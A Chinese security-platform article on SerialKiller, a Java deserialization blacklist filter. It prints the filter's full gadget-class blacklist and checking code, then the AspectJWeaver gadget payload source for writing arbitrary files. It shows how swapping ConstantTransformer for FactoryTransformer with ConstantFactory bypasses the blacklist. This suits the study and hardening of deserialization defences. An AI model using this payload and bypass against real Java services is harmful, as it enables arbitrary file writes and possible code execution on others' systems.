点击蓝字
关注我们
通过重写ObjectInputStream 类中的resolveClass方法加入黑名单来限制反序列化的类,黑名单配置为serialkiller.conf
serialkiller.conf
内容
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<!-- set to 'false' for blocking mode -->
<profiling>false</profiling>
</mode>
<blacklist>
<regexps>
<!-- ysoserial's BeanShell1 payload -->
<regexp>bsh.XThis$</regexp>
<regexp>bsh.Interpreter$</regexp>
<!-- ysoserial's C3P0 payload -->
<regexp>com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase$</regexp>
<!-- ysoserial's CommonsBeanutils1 payload -->
<regexp>org.apache.commons.beanutils.BeanComparator$</regexp>
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
<regexp>org.apache.commons.collections.Transformer$</regexp>
<regexp>org.apache.commons.collections.functors.InvokerTransformer$</regexp>
<regexp>org.apache.commons.collections.functors.ChainedTransformer$</regexp>
<regexp>org.apache.commons.collections.functors.ConstantTransformer$</regexp>
<regexp>org.apache.commons.collections.functors.InstantiateTransformer$</regexp>
<!-- ysoserial's CommonsCollections2,4 payload -->
<regexp>org.apache.commons.collections4.functors.InvokerTransformer$</regexp>
<regexp>org.apache.commons.collections4.functors.ChainedTransformer$</regexp>
<regexp>org.apache.commons.collections4.functors.ConstantTransformer$</regexp>
<regexp>org.apache.commons.collections4.functors.InstantiateTransformer$</regexp>
<regexp>org.apache.commons.collections4.comparators.TransformingComparator$</regexp>
<!-- ysoserial's FileUpload1,Wicket1 payload -->
<regexp>org.apache.commons.fileupload.disk.DiskFileItem$</regexp>
<regexp>org.apache.wicket.util.upload.DiskFileItem$</regexp>
<!-- ysoserial's Groovy payload -->
<regexp>org.codehaus.groovy.runtime.ConvertedClosure$</regexp>
<regexp>org.codehaus.groovy.runtime.MethodClosure$</regexp>
<!-- ysoserial's Hibernate1,2 payload -->
<regexp>org.hibernate.engine.spi.TypedValue$</regexp>
<regexp>org.hibernate.tuple.component.AbstractComponentTuplizer$</regexp>
<regexp>org.hibernate.tuple.component.PojoComponentTuplizer$</regexp>
<regexp>org.hibernate.type.AbstractType$</regexp>
<regexp>org.hibernate.type.ComponentType$</regexp>
<regexp>org.hibernate.type.Type$</regexp>
<regexp>com.sun.rowset.JdbcRowSetImpl$</regexp>
<!-- ysoserial's JBossInterceptors1, JavassistWeld1 payload -->
<regexp>org.jboss.(weld.)?interceptor.builder.InterceptionModelBuilder$</regexp>
<regexp>org.jboss.(weld.)?interceptor.builder.MethodReference$</regexp>
<regexp>org.jboss.(weld.)?interceptor.proxy.DefaultInvocationContextFactory$</regexp>
<regexp>org.jboss.(weld.)?interceptor.proxy.InterceptorMethodHandler$</regexp>
<regexp>org.jboss.(weld.)?interceptor.reader.ClassMetadataInterceptorReference$</regexp>
<regexp>org.jboss.(weld.)?interceptor.reader.DefaultMethodMetadata$</regexp>
<regexp>org.jboss.(weld.)?interceptor.reader.ReflectiveClassMetadata$</regexp>
<regexp>org.jboss.(weld.)?interceptor.reader.SimpleInterceptorMetadata$</regexp>
<regexp>org.jboss.(weld.)?interceptor.spi.instance.InterceptorInstantiator$</regexp>
<regexp>org.jboss.(weld.)?interceptor.spi.metadata.InterceptorReference$</regexp>
<regexp>org.jboss.(weld.)?interceptor.spi.metadata.MethodMetadata$</regexp>
<regexp>org.jboss.(weld.)?interceptor.spi.model.InterceptionModel$</regexp>
<regexp>org.jboss.(weld.)?interceptor.spi.model.InterceptionType$</regexp>
<!-- ysoserial's JRMPClient payload -->
<regexp>java.rmi.registry.Registry$</regexp>
<regexp>java.rmi.server.ObjID$</regexp>
<regexp>java.rmi.server.RemoteObjectInvocationHandler$</regexp>
<!-- ysoserial's JSON1 payload -->
<regexp>net.sf.json.JSONObject$</regexp>
<!-- ysoserial's Jdk7u21 payload -->
<regexp>javax.xml.transform.Templates$</regexp>
<!-- ysoserial's Jython1 payload -->
<regexp>org.python.core.PyObject$</regexp>
<regexp>org.python.core.PyBytecode$</regexp>
<regexp>org.python.core.PyFunction$</regexp>
<!-- ysoserial's MozillaRhino1 payload -->
<regexp>org.mozilla.javascript..*$</regexp>
<!-- ysoserial's Myfaces1,2 payload -->
<regexp>org.apache.myfaces.context.servlet.FacesContextImpl$</regexp>
<regexp>org.apache.myfaces.context.servlet.FacesContextImplBase$</regexp>
<regexp>org.apache.myfaces.el.CompositeELResolver$</regexp>
<regexp>org.apache.myfaces.el.unified.FacesELContext$</regexp>
<regexp>org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression$</regexp>
<!-- ysoserial's ROME payload -->
<regexp>com.sun.syndication.feed.impl.ObjectBean$</regexp>
<!-- ysoserial's Spring1,2 payload -->
<regexp>org.springframework.beans.factory.ObjectFactory$</regexp>
<regexp>org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider$</regexp>
<regexp>org.springframework.aop.framework.AdvisedSupport$</regexp>
<regexp>org.springframework.aop.target.SingletonTargetSource$</regexp>
<regexp>org.springframework.aop.framework.JdkDynamicAopProxy$</regexp>
<regexp>org.springframework.core.SerializableTypeWrapper$TypeProvider$</regexp>
<!-- other trigger gadgets or payloads -->
<regexp>java.util.PriorityQueue$</regexp>
<regexp>java.lang.reflect.Proxy$</regexp>
<regexp>javax.management.MBeanServerInvocationHandler$</regexp>
<regexp>javax.management.openmbean.CompositeDataInvocationHandler$</regexp>
<regexp>org.springframework.aop.framework.JdkDynamicAopProxy$</regexp>
<regexp>java.beans.EventHandler$</regexp>
<regexp>java.util.Comparator$</regexp>
<regexp>org.reflections.Reflections$</regexp>
</regexps>
</blacklist>
<whitelist>
<regexps>
<regexp>.*</regexp>
</regexps>
</whitelist>
</config>
ObjectInputStream ois = new SerialKiller(is, "serialkiller.conf");
String msg = (String) ois.readObject();
SerialKiller类继承自ObjectInputStream类,在SerialKiller中重写ObjectInputStream类的resolveClass方法,在resolveClass方法中对反序列化类进行校验,根据ObjectInputStream类中readObject的逻辑,当调用readObject方法时,readObject会调用resolveClass方法,反序列化中的每一个类名都会进入resolveClass方法中与黑名单列表中的进行比对
protected Class<?> resolveClass(final ObjectStreamClass serialInput) throws IOException, ClassNotFoundException {
config.reloadIfNeeded();
// Enforce SerialKiller's blacklist
for (Pattern blackPattern : config.blacklist()) {
Matcher blackMatcher = blackPattern.matcher(serialInput.getName());
if (blackMatcher.find()) {
if (profiling) {
// Reporting mode
LOGGER.info(String.format("Blacklist match: '%s'", serialInput.getName()));
} else {
// Blocking mode
LOGGER.error(String.format("Blocked by blacklist '%s'. Match found for '%s'", new Object[] {blackPattern.pattern(), serialInput.getName()}));
throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (blacklist)");
}
}
}
// Enforce SerialKiller's whitelist
boolean safeClass = false;
for (Pattern whitePattern : config.whitelist()) {
Matcher whiteMatcher = whitePattern.matcher(serialInput.getName());
if (whiteMatcher.find()) {
safeClass = true;
if (profiling) {
// Reporting mode
LOGGER.info(String.format("Whitelist match: '%s'", serialInput.getName()));
}
// We have found a whitelist match, no need to continue
break;
}
}
if (!safeClass && !profiling) {
// Blocking mode
LOGGER.error(String.format("Blocked by whitelist. No match found for '%s'", serialInput.getName()));
throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (non-whitelist)");
}
return super.resolveClass(serialInput);
}
AspectJWeaver
也就是说serialKiller这个项目的默认黑名单配置中并没有专门针对AspectJWeaver这个利用链public class OldAspectJWeaver implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
public static void main(String[] args) throws Exception {
args = new String[]{"ahi.txt;YWhpaGloaQ=="};
PayloadRunner.run(OldAspectJWeaver.class, args);
}
}
最终是在SimpleCache$StoreableCachingMap的wirteToPath方法中达到向任意文件中写入任意数据的目的
从调用链可以看到,反序列化时的关键调用链中是没有ConstantTransformer类的
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
而这里的ct是14行的返回值:Transformer ct = new ConstantTransformer(content);
而在反序列化的过程中调用到的是LazyMap.get, 查看其代码
this.factory就是序列化时候LazyMap.decorate传入的Transformer实例,Object value则来自this.factory.transform的返回值,然后调用this.map.put进入SimpleCache$StorableCachingMap.put方法,可以看到value就是我们最终写入文件的任意数据
那么我们现在对AspectJWeaver链中的要写入的任意数据Content有了两个要求
1.必须将Content包装成Transformer对象
2.调用该Transformer对象的transform方法后返回的值就是Content本身
这里就很眼熟了,我们在学习CommonCollections1利用链的时候就知道,ConstantTransformer中的transform方法的功能就是将初始化时传入的对象返回。
它的关键代码如下:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
理清了这个逻辑,就会发现ConstantTransformer类在这条链里存在的必要性,那么是否可以尝试用其他实现Transformer接口的类来代替ConstantTransformer从而绕过黑名单呢?
看一下实现Transformer接口的类,不多
private final Factory iFactory;
public FactoryTransformer(Factory factory) {
this.iFactory = factory;
}
public Object transform(Object input) {
return this.iFactory.create();
}
public ConstantFactory(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object create() {
return this.iConstant;
}
那么现在我们将原来的Transformer ct = new ConstantTransformer(content);
改写成
Factory ft = new ConstantFactory(content);
Transformer ct = new FactoryTransformer(ft);
修改后该payload即可绕过serialKiller写任意文件
往期推荐
原文始发于微信公众号(SecIN技术平台):原创 | AspectJWeaver利用链绕过serialKiller